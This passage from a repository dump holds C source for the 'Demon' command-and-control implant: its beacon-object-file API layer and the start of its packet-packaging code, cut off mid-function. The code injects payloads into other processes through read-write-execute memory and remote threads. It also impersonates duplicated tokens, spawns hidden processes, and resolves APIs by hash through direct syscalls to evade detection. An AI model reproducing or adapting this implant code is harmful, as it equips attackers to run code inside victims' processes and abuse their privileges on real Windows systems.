    "content": "#include <stdio.h>\n#include <stdint.h>\n#include <stdarg.h>\n\n#include <Demon.h>\n#include <common/Defines.h>\n#include <core/Command.h>\n#include <core/Win32.h>\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <core/SysNative.h>\n#include <core/ObjectApi.h>\n\n\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n// Meh some wrapper functions for internal demon GetProcAddress and GetModuleHandleA functions.\nPVOID LdrModulePebString( PCHAR ModuleString )\n{\n    PRINTF( \"ModuleString: %s : %lx\\n\", ModuleString, HashEx( ModuleString, 0, TRUE ) )\n    return Instance->Win32.GetModuleHandleA( ModuleString );\n}\n\nPVOID LdrFunctionAddrString( PVOID Module, PCHAR Function )\n{\n    PRINTF( \"Module:[%p] Function:[%s : %lx]\\n\", Module, Function, HashEx( Function, 0, TRUE ) )\n    return LdrFunctionAddr( Module, HashEx( Function, 0, TRUE ) );\n}\n\nBOOL LdrFreeLibrary( HMODULE hLibModule )\n{\n    return Instance->Win32.FreeLibrary( hLibModule );\n}\n\nHLOCAL LdrLocalFree( PVOID hMem )\n{\n    return Instance->Win32.LocalFree( hMem );\n}\n\nCOFFAPIFUNC BeaconApi[] = {\n        { .NameHash = H_COFFAPI_BEACONDATAPARSER,             .Pointer = BeaconDataParse                  },\n        { .NameHash = H_COFFAPI_BEACONDATAINT,                .Pointer = BeaconDataInt                    },\n        { .NameHash = H_COFFAPI_BEACONDATASHORT,              .Pointer = BeaconDataShort                  },\n        { .NameHash = H_COFFAPI_BEACONDATALENGTH,             .Pointer = BeaconDataLength                 },\n        { .NameHash = H_COFFAPI_BEACONDATAEXTRACT,            .Pointer = BeaconDataExtract                },\n        { .NameHash = H_COFFAPI_BEACONFORMATALLOC,            .Pointer = BeaconFormatAlloc                },\n        { .NameHash = H_COFFAPI_BEACONFORMATRESET,            .Pointer = BeaconFormatReset                },\n        { .NameHash = H_COFFAPI_BEACONFORMATFREE,             .Pointer = BeaconFormatFree                 },\n        { .NameHash = H_COFFAPI_BEACONFORMATAPPEND,           .Pointer = BeaconFormatAppend               },\n        { .NameHash = H_COFFAPI_BEACONFORMATPRINTF,           .Pointer = BeaconFormatPrintf               },\n        { .NameHash = H_COFFAPI_BEACONFORMATTOSTRING,         .Pointer = BeaconFormatToString             },\n        { .NameHash = H_COFFAPI_BEACONFORMATINT,              .Pointer = BeaconFormatInt                  },\n        { .NameHash = H_COFFAPI_BEACONPRINTF,                 .Pointer = BeaconPrintf                     },\n        { .NameHash = H_COFFAPI_BEACONOUTPUT,                 .Pointer = BeaconOutput                     },\n        { .NameHash = H_COFFAPI_BEACONUSETOKEN,               .Pointer = BeaconUseToken                   },\n        { .NameHash = H_COFFAPI_BEACONREVERTTOKEN,            .Pointer = TokenRevSelf                     },\n        { .NameHash = H_COFFAPI_BEACONISADMIN,                .Pointer = BeaconIsAdmin                    },\n        { .NameHash = H_COFFAPI_BEACONGETSPAWNTO,             .Pointer = BeaconGetSpawnTo                 },\n        { .NameHash = H_COFFAPI_BEACONINJECTPROCESS,          .Pointer = BeaconInjectProcess              },\n        { .NameHash = H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS,  .Pointer = BeaconSpawnTemporaryProcess      },\n        { .NameHash = H_COFFAPI_BEACONINJECTTEMPORARYPROCESS, .Pointer = BeaconInjectTemporaryProcess     },\n        { .NameHash = H_COFFAPI_BEACONCLEANUPPROCESS,         .Pointer = BeaconCleanupProcess             },\n        { .NameHash = H_COFFAPI_BEACONINFORMATION,            .Pointer = BeaconInformation                },\n        { .NameHash = H_COFFAPI_BEACONADDVALUE,               .Pointer = BeaconAddValue                   },\n        { .NameHash = H_COFFAPI_BEACONGETVALUE,               .Pointer = BeaconGetValue                   },\n        { .NameHash = H_COFFAPI_BEACONREMOVEVALUE,            .Pointer = BeaconRemoveValue                },\n        { .NameHash = H_COFFAPI_BEACONDATASTOREGETITEM,       .Pointer = BeaconDataStoreGetItem           },\n        { .NameHash = H_COFFAPI_BEACONDATASTOREPROTECTITEM,   .Pointer = BeaconDataStoreProtectItem       },\n        { .NameHash = H_COFFAPI_BEACONDATASTOREUNPROTECTITEM, .Pointer = BeaconDataStoreUnprotectItem     },\n        { .NameHash = H_COFFAPI_BEACONDATASTOREMAXENTRIES,    .Pointer = BeaconDataStoreMaxEntries        },\n        { .NameHash = H_COFFAPI_BEACONGETCUSTOMUSERDATA,      .Pointer = BeaconGetCustomUserData          },\n\n        // End of array\n        { .NameHash = 0, .Pointer = NULL },\n};\n\nCOFFAPIFUNC LdrApi[] = {\n        { .NameHash = H_COFFAPI_TOWIDECHAR,                   .Pointer = toWideChar                       },\n        { .NameHash = H_COFFAPI_LOADLIBRARYA,                 .Pointer = LdrModuleLoad                    },\n        { .NameHash = H_COFFAPI_GETMODULEHANDLE,              .Pointer = LdrModulePebString               },\n        { .NameHash = H_COFFAPI_GETPROCADDRESS,               .Pointer = LdrFunctionAddrString            },\n        { .NameHash = H_COFFAPI_FREELIBRARY,                  .Pointer = LdrFreeLibrary                   },\n        { .NameHash = H_COFFAPI_LOCALFREE,                    .Pointer = LdrLocalFree                     },\n\n        // End of array\n        { .NameHash = 0, .Pointer = NULL },\n};\n\nCOFFAPIFUNC NtApi[] = {\n        { .NameHash = H_COFFAPI_NTOPENTHREAD,                   .Pointer = SysNtOpenThread                   },\n        { .NameHash = H_COFFAPI_NTOPENPROCESS,                  .Pointer = SysNtOpenProcess                  },\n        { .NameHash = H_COFFAPI_NTTERMINATEPROCESS,             .Pointer = SysNtTerminateProcess             },\n        { .NameHash = H_COFFAPI_NTOPENTHREADTOKEN,              .Pointer = SysNtOpenThreadToken              },\n        { .NameHash = H_COFFAPI_NTOPENPROCESSTOKEN,             .Pointer = SysNtOpenProcessToken             },\n        { .NameHash = H_COFFAPI_NTDUPLICATETOKEN,               .Pointer = SysNtDuplicateToken               },\n        { .NameHash = H_COFFAPI_NTQUEUEAPCTHREAD,               .Pointer = SysNtQueueApcThread               },\n        { .NameHash = H_COFFAPI_NTSUSPENDTHREAD,                .Pointer = SysNtSuspendThread                },\n        { .NameHash = H_COFFAPI_NTRESUMETHREAD,                 .Pointer = SysNtResumeThread                 },\n        { .NameHash = H_COFFAPI_NTCREATEEVENT,                  .Pointer = SysNtCreateEvent                  },\n        { .NameHash = H_COFFAPI_NTCREATETHREADEX,               .Pointer = SysNtCreateThreadEx               },\n        { .NameHash = H_COFFAPI_NTDUPLICATEOBJECT,              .Pointer = SysNtDuplicateObject              },\n        { .NameHash = H_COFFAPI_NTGETCONTEXTTHREAD,             .Pointer = SysNtGetContextThread             },\n        { .NameHash = H_COFFAPI_NTSETCONTEXTTHREAD,             .Pointer = SysNtSetContextThread             },\n        { .NameHash = H_COFFAPI_NTQUERYINFORMATIONPROCESS,      .Pointer = SysNtQueryInformationProcess      },\n        { .NameHash = H_COFFAPI_NTQUERYSYSTEMINFORMATION,       .Pointer = SysNtQuerySystemInformation       },\n        { .NameHash = H_COFFAPI_NTWAITFORSINGLEOBJECT,          .Pointer = SysNtWaitForSingleObject          },\n        { .NameHash = H_COFFAPI_NTALLOCATEVIRTUALMEMORY,        .Pointer = SysNtAllocateVirtualMemory        },\n        { .NameHash = H_COFFAPI_NTWRITEVIRTUALMEMORY,           .Pointer = SysNtWriteVirtualMemory           },\n        { .NameHash = H_COFFAPI_NTFREEVIRTUALMEMORY,            .Pointer = SysNtFreeVirtualMemory            },\n        { .NameHash = H_COFFAPI_NTUNMAPVIEWOFSECTION,           .Pointer = SysNtUnmapViewOfSection           },\n        { .NameHash = H_COFFAPI_NTPROTECTVIRTUALMEMORY,         .Pointer = SysNtProtectVirtualMemory         },\n        { .NameHash = H_COFFAPI_NTREADVIRTUALMEMORY,            .Pointer = SysNtReadVirtualMemory            },\n        { .NameHash = H_COFFAPI_NTTERMINATETHREAD,              .Pointer = SysNtTerminateThread              },\n        { .NameHash = H_COFFAPI_NTALERTRESUMETHREAD,            .Pointer = SysNtAlertResumeThread            },\n        { .NameHash = H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT, .Pointer = SysNtSignalAndWaitForSingleObject },\n        { .NameHash = H_COFFAPI_NTQUERYVIRTUALMEMORY,           .Pointer = SysNtQueryVirtualMemory           },\n        { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTOKEN,        .Pointer = SysNtQueryInformationToken        },\n        { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTHREAD,       .Pointer = SysNtQueryInformationThread       },\n        { .NameHash = H_COFFAPI_NTQUERYOBJECT,                  .Pointer = SysNtQueryObject                  },\n        { .NameHash = H_COFFAPI_NTCLOSE,                        .Pointer = SysNtClose                        },\n        { .NameHash = H_COFFAPI_NTSETINFORMATIONTHREAD,         .Pointer = SysNtSetInformationThread         },\n        { .NameHash = H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY,  .Pointer = SysNtSetInformationVirtualMemory  },\n        { .NameHash = H_COFFAPI_NTGETNEXTTHREAD,                .Pointer = SysNtGetNextThread                },\n\n        // End of array\n        { .NameHash = 0, .Pointer = NULL },\n};\n\nuint32_t swap_endianess(uint32_t indata) {\n    uint32_t testint = 0xaabbccdd;\n    uint32_t outint = indata;\n    if (((unsigned char*)&testint)[0] == 0xdd) {\n        ((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];\n        ((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];\n        ((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];\n        ((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];\n    }\n    return outint;\n}\n\nVOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size )\n{\n    if ( parser == NULL )\n        return;\n\n    parser->original = buffer;\n    parser->buffer   = buffer;\n    parser->length   = size - 4;\n    parser->size     = size - 4;\n    parser->buffer   += 4;\n}\n\nINT BeaconDataInt( PDATA parser )\n{\n    UINT32 Value = 0;\n\n    if ( parser->length < 4 )\n        return 0;\n\n    MemCopy( &Value, parser->buffer, 4 );\n\n    parser->buffer += 4;\n    parser->length -= 4;\n\n    return ( INT ) Value;\n}\n\nSHORT BeaconDataShort( datap* parser )\n{\n    UINT16 Value = 0;\n\n    if ( parser->length < 2 )\n        return 0;\n\n    MemCopy( &Value, parser->buffer, 2 );\n\n    parser->buffer += 2;\n    parser->length -= 2;\n\n    return ( short ) Value;\n}\n\nINT BeaconDataLength( PDATA parser )\n{\n    return parser->length;\n}\n\nPCHAR BeaconDataExtract( PDATA parser, PINT size )\n{\n    INT   Length = 0;\n    PVOID Data   = NULL;\n\n    if ( parser->length < 4 )\n        return NULL;\n\n    MemCopy( &Length, parser->buffer, 4 );\n\n    parser->buffer += 4;\n\n    Data = parser->buffer;\n    if ( Data == NULL )\n        return NULL;\n\n    parser->length -= 4;\n    parser->length -= Length;\n    parser->buffer += Length;\n\n    if ( size != NULL )\n        *size = Length;\n\n    return Data;\n}\n\n/*\n * This function is called by BeaconPrintf and BeaconOutput.\n * It loops over all the COFFEE structs saved on the Instance object\n * trying to find which BOF called BeaconPrintf/BeaconOutput\n * once it finds it, it returns the RequestID\n * this is so that the TS can identify which BOF is sending the output data.\n * This is needed because you can have more than one BOF mapped in memory at the same time\n */\nBOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID )\n{\n    PCOFFEE Entry = Instance->Coffees;\n\n    if ( ! CoffeeFunctionReturn || ! RequestID )\n        return FALSE;\n\n    while ( Entry )\n    {\n        if ( ( ULONG_PTR ) CoffeeFunctionReturn >= ( ULONG_PTR ) Entry->ImageBase && ( ULONG_PTR ) CoffeeFunctionReturn < ( ( ULONG_PTR ) Entry->ImageBase + Entry->BofSize ) )\n        {\n            //PRINTF( \"Found the RequestID for the calling BOF: %x\\n\", Entry->RequestID )\n            *RequestID = Entry->RequestID;\n            return TRUE;\n        }\n\n        Entry = Entry->Next;\n    }\n\n    PUTS( \"Failed to find the RequestID for the calling BOF\" )\n\n    return FALSE;\n}\n\nVOID BeaconPrintf( INT Type, PCHAR fmt, ... )\n{\n    //PRINTF( \"BeaconPrintf( %d, %x, ... )\\n\", Type, fmt )\n\n    PPACKAGE    package              = NULL;\n    va_list     VaListArg            = 0;\n    PVOID       CallbackOutput       = NULL;\n    INT         CallbackSize         = 0;\n    UINT32      RequestID            = 0;\n    PVOID       CoffeeFunctionReturn = __builtin_return_address( 0 );\n\n    if ( ! fmt ) {\n        PUTS( \"Format string can't be NULL\" );\n        return;\n    }\n\n    if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) )\n        package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID );\n    else\n        package = PackageCreate( BEACON_OUTPUT );\n\n    va_start( VaListArg, fmt );\n\n    CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );\n    if ( CallbackSize < 0 ) {\n        PUTS( \"Failed to calculate final string length\" )\n        va_end( VaListArg );\n        return;\n    }\n\n    CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 );\n    if ( ! CallbackOutput ) {\n        PUTS( \"Failed to allocate CallbackOutput\" );\n        va_end( VaListArg );\n        return;\n    }\n\n    if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) {\n        PUTS( \"Failed to format string\" )\n        MemSet( CallbackOutput, 0, CallbackSize );\n        Instance->Win32.LocalFree( CallbackOutput );\n        va_end( VaListArg );\n        return;\n    }\n\n    va_end( VaListArg );\n\n    PRINTF( \"CallbackOutput[%d]: \\n%s\\n\", CallbackSize, CallbackOutput );\n\n    PackageAddInt32( package, Type );\n    PackageAddBytes( package, CallbackOutput, CallbackSize );\n    PackageTransmit( package );\n\n    MemSet( CallbackOutput, 0, CallbackSize );\n    Instance->Win32.LocalFree( CallbackOutput );\n}\n\nVOID BeaconOutput( INT Type, PCHAR data, INT len )\n{\n    PRINTF( \"BeaconOutput( %d, %p, %d )\\n\", Type, data, len )\n\n    UINT32   RequestID            = 0;\n    PPACKAGE Package              = NULL;\n    PVOID    CoffeeFunctionReturn = __builtin_return_address( 0 );\n\n    if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) {\n        Package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID );\n    } else {\n        Package = PackageCreate( BEACON_OUTPUT );\n    }\n\n    PackageAddInt32( Package, Type );\n    PackageAddBytes( Package, ( PBYTE ) data, len );\n    PackageTransmit( Package );\n}\n\nBOOL BeaconIsAdmin(\n    VOID\n) {\n    HANDLE Token = { 0 };\n    BOOL   Admin = FALSE;\n\n    /* query if current process token is elevated or not */\n    if ( ( Token = TokenCurrentHandle() ) ) {\n        Admin = TokenElevated( Token );\n    }\n\n    /* close token handle */\n    if ( Token ) {\n        SysNtClose( Token );\n    }\n\n    return Admin;\n}\n\nVOID BeaconFormatAlloc( PFORMAT format, int maxsz )\n{\n    if ( format == NULL )\n        return;\n\n    format->original = Instance->Win32.LocalAlloc(maxsz, 1);\n    format->buffer = format->original;\n    format->length = 0;\n    format->size = maxsz;\n}\n\nVOID BeaconFormatReset( PFORMAT format )\n{\n    MemSet( format->original, 0, format->size );\n    format->buffer = format->original;\n    format->length = format->size;\n}\n\nVOID BeaconFormatFree( PFORMAT format )\n{\n    if ( format == NULL )\n        return;\n\n    if ( format->original )\n    {\n        Instance->Win32.LocalFree( format->original );\n        format->original = NULL;\n    }\n\n    format->buffer = NULL;\n    format->length = 0;\n    format->size   = 0;\n}\n\nVOID BeaconFormatAppend( PFORMAT format, char* text, int len )\n{\n    MemCopy( format->buffer, text, len );\n    format->buffer += len;\n    format->length += len;\n}\n\nVOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... )\n{\n    va_list args   = { 0 };\n    int     length = 0;\n\n    va_start( args, fmt );\n    length = Instance->Win32.vsnprintf( NULL, 0, fmt, args );\n    va_end( args );\n    if ( format->length + length > format->size )\n    {\n        return;\n    }\n\n    va_start( args, fmt );\n    Instance->Win32.vsnprintf( format->buffer, length, fmt, args );\n    va_end( args );\n\n    format->length += length;\n    format->buffer += length;\n}\n\nchar* BeaconFormatToString( PFORMAT format, int* size)\n{\n    *size = format->length;\n    return format->original;\n}\n\nVOID BeaconFormatInt( PFORMAT format, int value)\n{\n    uint32_t indata = value;\n    uint32_t outdata = 0;\n    if (format->length + 4 > format->size) {\n        return;\n    }\n    outdata = swap_endianess(indata);\n    MemCopy(format->buffer, &outdata, 4);\n    format->length += 4;\n    format->buffer += 4;\n    return;\n}\n\nBOOL BeaconUseToken( HANDLE token )\n{\n    HANDLE hImpersonateToken = INVALID_HANDLE_VALUE;\n\n    if ( ! SysNtDuplicateToken( token, 0, NULL, FALSE, TokenPrimary, &hImpersonateToken ) ) {\n        return FALSE;\n    }\n\n    if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) {\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nVOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length )\n{\n    PWCHAR Path = NULL;\n    SIZE_T Size = 0;\n\n    if ( ! buffer )\n        return;\n\n    if ( x86 ) {\n        Path = Instance->Config.Process.Spawn86;\n    } else {\n        Path = Instance->Config.Process.Spawn64;\n    }\n\n    Size = StringLengthW( Path ) * sizeof( WCHAR );\n\n    if ( Size > length ) {\n        return;\n    }\n\n    MemCopy( buffer, Path, Size );\n}\n\nBOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo )\n{\n    BOOL    bSuccess    = FALSE;\n    HANDLE  hToken      = INVALID_HANDLE_VALUE;\n    PWCHAR  Path        = NULL;\n\n    if (x86) {\n        Path = Instance->Config.Process.Spawn86;\n    } else {\n        Path = Instance->Config.Process.Spawn64;\n    }\n\n    if (ignoreToken)\n    {\n        bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo);\n    }\n    else\n    {\n        bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo);\n    }\n\n    return bSuccess;\n}\n\nVOID BeaconInjectProcess( HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len )\n{\n    PVOID             a_RemoteBuf      = NULL;\n    PVOID             p_RemoteBuf      = NULL;\n    SIZE_T            Size             = 0;\n    NTSTATUS          Status           = STATUS_SUCCESS;\n    CLIENT_ID         ClientID         = { 0 } ;\n    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };\n\n    InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL );\n\n    if ( ! hProc ) {\n        hProc = ProcessOpen( pid, PROCESS_ALL_ACCESS );\n        if ( ! hProc ) {\n            return;\n        }\n    }\n\n    // allocate memory space for payload\n    Size = p_len * sizeof( CHAR );\n    Status = SysNtAllocateVirtualMemory(hProc, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\n    if ( ! NT_SUCCESS( Status ) )\n        return;\n\n    Status = SysNtWriteVirtualMemory(hProc, p_RemoteBuf, (PVOID)payload, Size, 0);\n    if ( ! NT_SUCCESS( Status ) )\n        return;\n\n    // allocate memory space for argument\n    Size = a_len * sizeof( CHAR );\n    Status = SysNtAllocateVirtualMemory(hProc, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\n    if ( ! NT_SUCCESS( Status ) )\n        return;\n\n    Status = SysNtWriteVirtualMemory(hProc, a_RemoteBuf, (PVOID)arg, Size, 0);\n    if ( ! NT_SUCCESS( Status ) )\n        return;\n\n    Status = SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, hProc, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL);\n    if ( ! NT_SUCCESS( Status ) )\n        return;\n}\n\nVOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len )\n{\n    PVOID p_RemoteBuf;\n    PVOID a_RemoteBuf;\n    SIZE_T Size;\n    NTSTATUS Status;\n\n    // allocate memory space for payload\n    Size = p_len * sizeof(char);\n    Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\n    if (Status != STATUS_SUCCESS) {\n        return;\n    }\n\n    Status = SysNtWriteVirtualMemory(pInfo->hProcess, p_RemoteBuf, (PVOID)payload, Size, 0);\n    if (Status != STATUS_SUCCESS) {\n        return;\n    }\n\n    // allocate memory space for argument\n    Size = a_len * sizeof(char);\n    Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);\n    if (Status != STATUS_SUCCESS) {\n        return;\n    }\n\n    Status = SysNtWriteVirtualMemory(pInfo->hProcess, a_RemoteBuf, (PVOID)arg, Size, 0);\n    if (Status != STATUS_SUCCESS) {\n        return;\n    }\n\n    SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, pInfo->hProcess, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL);\n}\n\nVOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo )\n{\n    NTSTATUS status;\n\n    status = SysNtClose(pInfo->hProcess);\n    if (status != STATUS_SUCCESS)\n        return;\n\n    status = SysNtClose(pInfo->hThread);\n    if (status != STATUS_SUCCESS)\n        return;\n}\n\n// not implemented\nVOID BeaconInformation(BEACON_INFO * info)\n{\n    PUTS( \"BeaconInformation is not implemented\" );\n    return;\n}\n\nBOOL BeaconAddValue(const char * key, void * ptr)\n{\n    PCOFFEE_KEY_VALUE KeyValue  = NULL;\n    SIZE_T            KeyLength = 0;\n\n    if ( ! key )\n    {\n        PUTS( \"No key was provided\" );\n        return FALSE;\n    }\n\n    KeyLength = StringLengthA( key );\n\n    if ( KeyLength == 0 )\n    {\n        PUTS( \"The key is too short\" );\n        return FALSE;\n    }\n\n    if ( KeyLength >= COFFEE_KEY_VALUE_MAX_KEY )\n    {\n        PRINTF( \"The key %s is too long\\n\", key );\n        return FALSE;\n    }\n\n    // make sure the key doesn't already exist\n    KeyValue = Instance->CoffeKeyValueStore;\n    while ( KeyValue )\n    {\n        if ( StringCompareA( KeyValue->Key, key ) == 0 ) {\n            PRINTF( \"The key %s already exists\\n\", key );\n            return FALSE;\n        }\n\n        KeyValue = KeyValue->Next;\n    }\n\n    KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) );\n\n    KeyValue->Value = ptr;\n    StringCopyA( KeyValue->Key, key );\n\n    // store the new item at the start of the list\n    KeyValue->Next = Instance->CoffeKeyValueStore;\n    Instance->CoffeKeyValueStore = KeyValue;\n\n    return TRUE;\n}\n\nPVOID BeaconGetValue(const char * key)\n{\n    PCOFFEE_KEY_VALUE KeyValue = NULL;\n\n    if ( ! key )\n    {\n        PUTS( \"No key was provided\" );\n        return NULL;\n    }\n\n    KeyValue = Instance->CoffeKeyValueStore;\n    while ( KeyValue )\n    {\n        if ( StringCompareA( KeyValue->Key, key ) == 0 ) {\n            return KeyValue->Value;\n        }\n\n        KeyValue = KeyValue->Next;\n    }\n\n    return NULL;\n}\n\nBOOL BeaconRemoveValue(const char * key)\n{\n    PCOFFEE_KEY_VALUE Current  = NULL;\n    PCOFFEE_KEY_VALUE Prev     = NULL;\n\n    if ( ! key )\n    {\n        PUTS( \"No key was provided\" );\n        return FALSE;\n    }\n\n    Current = Instance->CoffeKeyValueStore;\n    while ( Current )\n    {\n        if ( StringCompareA( Current->Key, key ) == 0 )\n        {\n            if ( Prev ) {\n                Prev->Next = Current->Next;\n            } else {\n                Instance->CoffeKeyValueStore = Current->Next;\n            }\n\n            DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) );\n            return TRUE;\n        }\n\n        Prev    = Current;\n        Current = Current->Next;\n    }\n\n    return FALSE;\n}\n\n// not implemented\nPDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)\n{\n    PUTS( \"BeaconDataStoreGetItem is not implemented\" );\n    return NULL;\n}\n\n// not implemented\nVOID BeaconDataStoreProtectItem(SIZE_T index)\n{\n    PUTS( \"BeaconDataStoreProtectItem is not implemented\" );\n    return;\n}\n\n// not implemented\nVOID BeaconDataStoreUnprotectItem(SIZE_T index)\n{\n    PUTS( \"BeaconDataStoreUnprotectItem is not implemented\" );\n    return;\n}\n\n// not implemented\nSIZE_T BeaconDataStoreMaxEntries()\n{\n    PUTS( \"BeaconDataStoreMaxEntries is not implemented\" );\n    return 0;\n}\n\n// not implemented\nPCHAR BeaconGetCustomUserData()\n{\n    PUTS( \"BeaconGetCustomUserData is not implemented\" );\n    return NULL;\n}\n\nBOOL toWideChar( char* src, wchar_t* dst, int max )\n{\n    SIZE_T Length = 0;\n\n    Length = CharStringToWCharString(dst, src, max);\n    if (Length == 0) {\n        return FALSE;\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Package.c",
    "content": "/* Import Core Headers */\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <core/Command.h>\n#include <core/Transport.h>\n#include <core/TransportSmb.h>\n\n/* Import Crypto Header (enable CTR Mode) */\n#define CTR    1\n#define AES256 1\n#include <crypt/AesCrypt.h>\n\nVOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value )\n{\n    Buffer[ 7 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 6 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 5 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 4 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 3 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 2 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 1 ] = Value & 0xFF;\n    Value >>= 8;\n\n    Buffer[ 0 ] = Value & 0xFF;\n}\n\nVOID Int32ToBuffer(\n    OUT PUCHAR Buffer,\n    IN  UINT32 Size\n) {\n    ( Buffer ) [ 0 ] = ( Size >> 24 ) & 0xFF;\n    ( Buffer ) [ 1 ] = ( Size >> 16 ) & 0xFF;\n    ( Buffer ) [ 2 ] = ( Size >> 8  ) & 0xFF;\n    ( Buffer ) [ 3 ] = ( Size       ) & 0xFF;\n}\n\nVOID PackageAddInt32(\n    _Inout_ PPACKAGE Package,\n    IN     UINT32   Data\n) {\n    if ( ! Package ) {\n        return;\n    }\n\n    Package->Buffer = Instance->Win32.LocalReAlloc(\n            Package->Buffer,\n            Package->Length + sizeof( UINT32 ),\n            LMEM_MOVEABLE\n    );\n\n    Int32ToBuffer( Package->Buffer + Package->Length, Data );\n\n    Package->Length += sizeof( UINT32 );\n}\n\nVOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt )\n{\n    if ( ! Package ) {\n        return;\n    }\n\n    Package->Buffer = Instance->Win32.LocalReAlloc(\n            Package->Buffer,\n            Package->Length + sizeof( UINT64 ),\n            LMEM_MOVEABLE\n    );\n\n    Int64ToBuffer( Package->Buffer + Package->Length, dataInt );\n\n    Package->Length += sizeof( UINT64 );\n}\n\nVOID PackageAddBool(\n    _Inout_ PPACKAGE Package,\n    IN     BOOLEAN  Data\n) {\n    if ( ! Package ) {\n        return;\n    }\n\n    Package->Buffer = Instance->Win32.LocalReAlloc(\n            Package->Buffer,\n            Package->Length + sizeof( UINT32 ),\n            LMEM_MOVEABLE\n    );\n\n    Int32ToBuffer( Package->Buffer + Package->Length, Data ? 1 : 0 );\n\n    Package->Length += sizeof( UINT32 );\n}\n\nVOID PackageAddPtr( PPACKAGE Package, PVOID pointer )\n{\n    PackageAddInt64( Package, ( UINT64 ) pointer );\n}\n\nVOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size )\n{\n    if ( ! Package )\n        return;\n\n    Package->Buffer = Instance->Win32.LocalReAlloc(\n            Package->Buffer,\n            Package->Length + Size,\n            LMEM_MOVEABLE | LMEM_ZEROINIT\n    );\n\n    MemCopy( Package->Buffer + ( Package->Length ), Data, Size );\n\n    Package->Length += Size;\n}\n\nVOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size )\n{\n    if ( ! Package ) {\n        return;\n    }\n\n    PackageAddInt32( Package, Size );\n\n    if ( Size )\n    {\n        Package->Buffer = Instance->Win32.LocalReAlloc(\n            Package->Buffer,\n            Package->Length + Size,\n            LMEM_MOVEABLE | LMEM_ZEROINIT\n        );\n\n        MemCopy( Package->Buffer + Package->Length, Data, Size );\n\n        Package->Length += Size;\n    }\n}\n\nVOID PackageAddString( PPACKAGE package, PCHAR data )\n{\n    PackageAddBytes( package, (PBYTE) data, StringLengthA( data ) );\n}\n\nVOID PackageAddWString( PPACKAGE package, PWCHAR data )\n{\n    PackageAddBytes( package, (PBYTE) data, StringLengthW( data ) * 2 );\n}\n\nPPACKAGE PackageCreate( UINT32 CommandID )\n{\n    PPACKAGE Package = NULL;\n\n    Package            = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) );\n    Package->Buffer    = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) );\n    Package->Length    = 0;\n    Package->RequestID = Instance->CurrentRequestID;\n    Package->CommandID = CommandID;\n    Package->Encrypt   = TRUE;\n    Package->Destroy   = TRUE;\n    Package->Included  = 